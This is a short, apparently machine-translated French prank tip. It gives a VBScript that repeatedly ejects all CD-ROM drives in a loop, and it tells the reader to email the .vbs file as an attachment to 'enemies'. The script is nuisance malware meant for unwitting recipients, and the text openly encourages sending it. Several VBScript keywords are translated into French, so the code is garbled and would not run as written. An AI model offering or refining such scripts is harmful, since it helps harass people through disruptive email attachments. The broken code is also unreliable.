Étape 1: continous disque ouvreur
faire
Set oWMP = CreateObject ("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
Si colCDROMs.Count > = 1 then
Pour i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i). EJECT
Next ' cdrom
End If
boucle
enregistrer en tant que w/e.vbs. Envoyer en pièce jointe de courrier électronique et rire de vos ennemi hahaha